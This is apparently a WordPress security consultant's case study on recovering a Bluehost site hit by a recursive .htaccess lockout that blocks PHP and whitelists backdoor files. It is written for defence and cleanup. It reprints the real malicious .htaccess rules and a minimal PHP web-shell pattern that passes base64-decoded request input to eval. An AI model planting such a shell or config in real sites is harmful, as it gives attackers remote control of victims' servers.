Bluehost WordPress Site Hacked: How I Recovered an Account With 1,162 Infected Files and a 403 Lockout

If your Bluehost WordPress site is suddenly throwing 403 Forbidden errors and your malware scanner is reporting hundreds or thousands of infected files, you’re almost certainly looking at a recursive .htaccess lockout infection — the single most common hack pattern I see on Bluehost shared hosting. The fix is to identify the malicious config, remove the infected .htaccess copies in bulk after confirming scope, then hunt down the backdoor files the malware was protecting.

A client came to me in a panic last month. Their Bluehost-hosted WordPress site had gone down with a flood of 403 Forbidden errors, and when they ran the malware scanner inside cPanel, the result came back with 1,162 infected files.

They were one bad email away from a full Bluehost account suspension.

If you’re a Bluehost customer reading this because something similar just happened to your site — sudden 403 errors, a scary scan result, a suspension notice, or a “malware detected” email — this case study walks you through exactly what’s happening, why I see this pattern on Bluehost more than on any other host, and how I cleaned the entire infection without losing the site.

Why I See Thousands of Infected Files on Bluehost More Than Any Other Host

Across the 4,500+ hacked WordPress sites I’ve cleaned since 2018, Bluehost shows up in this specific pattern — recursive .htaccess infections with massive file counts — more than any other shared host I work on.

It’s not because Bluehost is insecure. It’s because of how attackers think about shared hosting:

• Bluehost is one of the largest WordPress hosts in the world, so a huge population of small-business sites with weak plugins live there
• Many Bluehost users run older WordPress versions, neglected plugins, or nulled themes they downloaded for free
• cPanel-style accounts make per-directory .htaccess rules effective and easy to abuse, so attackers reach for them by default
• Bluehost’s automated malware detection is aggressive — which is good for the network, but it also means a hacked site gets visibly broken very quickly, sometimes ending in account suspension before the owner can react

When I open a Bluehost cleanup ticket and the scan report shows numbers like 800, 1,162, or 3,400+ infected files, I no longer assume each hit is unique malware. In my experience, the overwhelming majority of those flags are the same .htaccess infection copied into folder after folder — including places site owners never check, like /.trash/, abandoned subdomain folders, and old WordPress installs from years ago that they forgot were even on the account.

The Symptoms: What the Client First Noticed

The client didn’t come to me saying “my Bluehost site is hacked.” They described three things that didn’t seem connected at first:

1. The site was returning 403 Forbidden errors on random pages, including the WordPress admin login
2. The Bluehost cPanel scanner was reporting more than a thousand infected files, scattered across folders they didn’t even know existed
3. Bluehost support had sent a warning email saying malware had been detected and that the account was at risk of suspension

For a non-technical site owner, that looks like three separate problems. It isn’t. They’re three symptoms of the exact same infection:

• The malware blocked PHP from running normally → you get 403 errors
• The malware spread into many directories at once → the scanner shows huge numbers
• The infection pattern matches known signatures → Bluehost flags it for suspension

This isn’t a single bad plugin. It’s a coordinated lockout, and it has to be cleaned as one infection, not a thousand small ones.

The Actual Malware Code I Found (Real Sample From the Cleanup)

Every infected .htaccess file on the account contained the same two-block pattern. Here’s the real code, exactly as I extracted it from the client’s site:

<FilesMatch "\.(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index\.php|lock360\.php|wp-l0gin\.php|wp-the1me\.php|wp-scr1pts\.php|wp-admin\.php|radio\.php|content\.php|about\.php|wp-login\.php|admin\.php|mah\.php|jp\.php|ext\.php)$">
Order allow,deny
Allow from all
</FilesMatch>

That code tells the whole story.

1. The first block kills almost everything

<FilesMatch "\.(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>

This rule tells Apache: “do not let any .py, .exe, or .php file run.” That’s why WordPress started breaking everywhere — most of WordPress is PHP files. When PHP can’t execute, you get 403 Forbidden errors instead of pages.

2. The second block whitelists the attacker’s backdoors

<FilesMatch "^(index\.php|lock360\.php|wp-l0gin\.php|wp-the1me\.php|...)$">
Order allow,deny
Allow from all
</FilesMatch>

This is the giveaway. The rule allows a small, specific list of files to keep running. Some of those names look almost legitimate — index.php, wp-login.php, admin.php. Others are obvious backdoors with character substitutions designed to dodge a quick visual scan:

• wp-l0gin.php — that’s a zero, not the letter “o”
• wp-the1me.php — a “1” replacing the letter “i”
• wp-scr1pts.php — same trick
• lock360.php, mah.php, jp.php, ext.php — random short names with no WordPress lineage

If you ever find a PHP file in your Bluehost account with a name like that, treat it as a confirmed backdoor.

3. The pattern was repeated across the account

Because .htaccess is applied at the directory level, the attacker copied the same block into hundreds of folders — theme directories, upload folders, cache directories, abandoned WordPress installs, and even /.trash/. That’s why the scan returned 1,162 hits from a single underlying infection.

This is the technical reason a Bluehost cleanup of this size feels overwhelming to most owners — but it’s actually faster to clean than 1,162 separate hacks, because it’s the same pattern everywhere.

What Was Inside the Whitelisted Backdoor Files

Removing the .htaccess infection is only half the job. The whitelisted PHP files are the actual remote-control panel for the attacker. On this account, the backdoor files contained typical web shell patterns I see across Bluehost cleanups — single-line PHP openers that accept commands over POST or GET requests, often base64-encoded payloads, and file-upload handlers disguised as WordPress includes.

I won’t publish working exploit code, but the recognizable signatures on most of these files looked structurally similar to:

<?php
// (heavy obfuscation / random variable names)
$x = base64_decode($_REQUEST['x']);
@eval($x);
?>

If you’re auditing your Bluehost account by hand, here’s what to grep for inside PHP files in wp-content/, wp-includes/, and theme/plugin folders:

• eval( combined with base64_decode(
• @assert( with user input
• $_REQUEST, $_POST, or $_GET being passed straight into eval or system
• Long base64 strings stored in PHP variables and decoded at runtime
• Functions named with random characters or single letters: $x, $_, $O0O0O0

I covered the broader category of backdoor camouflage — including fake plugin folders and fake “official” WordPress files — in how hackers live inside your WordPress dashboard and finding a hidden backdoor in a client’s WordPress site.

Why Bluehost Sometimes Suspends the Account Before You Can Clean It

This catches a lot of Bluehost users off guard.

You might expect a warning, a grace period, then suspension. Sometimes that’s how it works. But when an infection is severe — like a recursive lockout spreading across the account — Bluehost’s abuse system can suspend the account very quickly to protect their network and other customers on the shared server.

If your Bluehost account is already suspended right now, you’re not the only one. I covered another suspension recovery in detail here: removing hidden executable files after a Bluehost account suspension. The cleanup approach is similar — you cannot just delete files randomly until the scan looks better. You have to identify the infection pattern, clean the lockout layer in bulk, then hunt the real backdoors underneath.

How I Diagnosed the Scope (Before Touching Anything)

The biggest mistake Bluehost users make on a hack this size is rushing to delete files. I always start with a read-only review.

Step 1: I confirmed the infection was config-driven, not plugin-driven

A scanner showing 1,162 infections does not mean 1,162 different malware files. On Bluehost, it almost always means one infection pattern repeated across many directories. Confirming that early changes the whole cleanup strategy.

Step 2: I mapped where the infection had spread

I listed every infected file path before deleting anything. That gave me three pieces of information at once:

• How deep the infection went
• Whether anything outside WordPress was affected (custom apps, subdomains, old installs)
• Whether /.trash/ had leftover copies (it did)

If you skip this step and bulk-delete, you can break legitimate config in the process. On a clean WordPress-only Bluehost account, bulk deletion is usually safe. On an account hosting multiple sites or custom rewrite rules, it isn’t.

Step 3: I confirmed the backdoor filenames before searching for them

Knowing exactly which filenames the attacker had whitelisted made the next phase much faster. Instead of guessing what backdoors lived on the account, I had a precise target list pulled directly from the malware’s own configuration.

The Cleanup, Step by Step

1. Removed the lockout config layer in bulk

Once scope was confirmed, I removed the malicious configuration files in one operation rather than clicking through 1,162 entries in File Manager. On a verified WordPress-only tree where every flagged file is part of the infection, this is dramatically faster — minutes instead of hours.

2. Regenerated WordPress’s clean rewrite rules

Once the malicious config was gone, WordPress needed its normal rules back. The simplest way for any Bluehost user is:

1. Log into WordPress admin
2. Go to Settings > Permalinks
3. Click Save Changes (without changing anything)

That regenerates clean rewrite rules automatically.

3. Hunted the backdoor files

This is the part most cleanup tutorials skip — and it’s the reason hacked Bluehost sites keep getting reinfected.

The lockout existed to preserve attacker access through specific backdoor files. Removing the lockout doesn’t remove those backdoors. So I went looking for every file matching the whitelisted names — lock360.php, wp-l0gin.php, wp-the1me.php, wp-scr1pts.php, radio.php, and several others — and removed each one.

I also checked for related infection patterns I see often on Bluehost recoveries:

• Fake plugin folders inside wp-content/plugins/ with one or two PHP files and no readme
• Modified WordPress core files, especially wp-config.php, index.php, and files in wp-includes/
• Rogue admin users created during the infection window
• Scheduled cron tasks that re-create infected files automatically
• Database injections in wp_options and wp_posts

If you’ve never inspected your WordPress database for malware, my walkthrough on scanning and cleaning your WordPress database is a good starting point.

What I Did to Stop Bluehost From Re-Flagging the Account

After the technical cleanup, the goal shifts. You’re not just trying to remove the malware anymore — you’re trying to make sure Bluehost’s next scan comes back clean and the account stays in good standing.

Here’s the post-cleanup checklist I follow on every Bluehost recovery:

1. Rotate every password. WordPress admin, Bluehost cPanel, FTP/SFTP, the WordPress database user, email accounts. If a password was reused anywhere, treat it as compromised.
2. Change WordPress security keys (salts). This invalidates all active login sessions, including any the attacker still had.
3. Audit admin users. Delete anything that isn’t a known team member. Hidden admins are one of the most common reinfection routes — I broke this down in how to find and remove hidden admin users.
4. Reinstall WordPress core, themes, and plugins from clean sources. Don’t rely on visual checks — overwrite the files. And throw away anything nulled.
5. Delete plugins and themes you don’t actively use. Inactive plugins still ship code that can be exploited.
6. Check for cron-based reinfection. If a scheduled task is recreating infected files every hour, your “clean” site won’t stay clean.
7. Run a fresh Bluehost cPanel malware scan. A clean scan after cleanup is what gets the account out of the suspension risk zone.

I keep a longer post-cleanup checklist for site owners here: what to do after fixing a hacked WordPress site.

How to Avoid This Happening on Bluehost Again

Most of the Bluehost cleanup work I do is on sites that were running with one or more of these conditions:

• An outdated WordPress core or plugin
• A nulled or pirated theme or plugin (read: why nulled plugins and themes are a security disaster)
• A weak admin password, reused on other sites
• No two-factor authentication on WordPress or Bluehost cPanel
• No off-host backups
• Old, abandoned WordPress installs in subfolders the owner forgot about

If any of those describes your account, fix them this week — not after the next infection. My broader hardening walkthrough is here: how to secure a WordPress site, and the focused login-side guide is how to secure your WordPress login.

FAQ

My Bluehost account was just suspended for malware. Can it still be cleaned?

Yes, in almost every case. A Bluehost suspension doesn’t delete your files — it temporarily takes the account offline. You can usually still access cPanel, File Manager, and your database to perform the cleanup, depending on the suspension type. Once Bluehost’s scan reports a clean account, you can request reinstatement.

Why is my Bluehost site showing 403 errors after a hack?

The most common cause I see is a malicious server config injected by the attacker that blocks PHP execution while still allowing their own backdoor files to run. Restoring normal access requires removing the malicious config, regenerating WordPress’s clean rules, and finding the backdoor files the malware was protecting.

The Bluehost scanner says I have hundreds or thousands of infected files. Is my site destroyed?

Not usually. On Bluehost, large numbers in a malware scan almost always mean one infection pattern repeated across many folders, not hundreds of separate hacks. Once you identify the pattern, the cleanup is much faster than the file count suggests.

What do filenames like wp-l0gin.php or lock360.php mean?

They’re backdoor files designed to look like legitimate WordPress files at a quick glance. wp-l0gin.php uses a zero instead of the letter “o”, and names like lock360.php, wp-the1me.php, and wp-scr1pts.php show up consistently across malicious allowlists I find on Bluehost cleanups. If you see any of them in your account, treat them as confirmed compromise indicators.

Should I just delete everything and reinstall WordPress on Bluehost?

For most sites, no — you’ll lose customizations, content, and possibly the database link if you do it wrong. A targeted cleanup combined with reinstalled core, themes, and plugins from clean sources is safer and preserves the site. If the site is small and you have a known-clean backup from before the infection, restoring that backup is sometimes the fastest option.

How long until Bluehost will trust the account again after a cleanup?

In most of my recoveries, once the cleanup is done and a fresh malware scan comes back clean, Bluehost’s flag clears within hours to a day. The faster path is to clean thoroughly the first time so the next scan doesn’t catch leftover backdoors.

Need Help With a Hacked or Suspended Bluehost Site?

If your Bluehost WordPress site is locked behind 403 errors, your malware scan is showing hundreds or thousands of infections, or your account has been suspended, this is exactly the kind of cleanup I do every week.

I’ve recovered more than 4,500 hacked WordPress sites since 2018 — many of them on Bluehost — and a lockout-style infection like this one is something I can usually clean in hours, not days.

Get Expert WordPress Malware Removal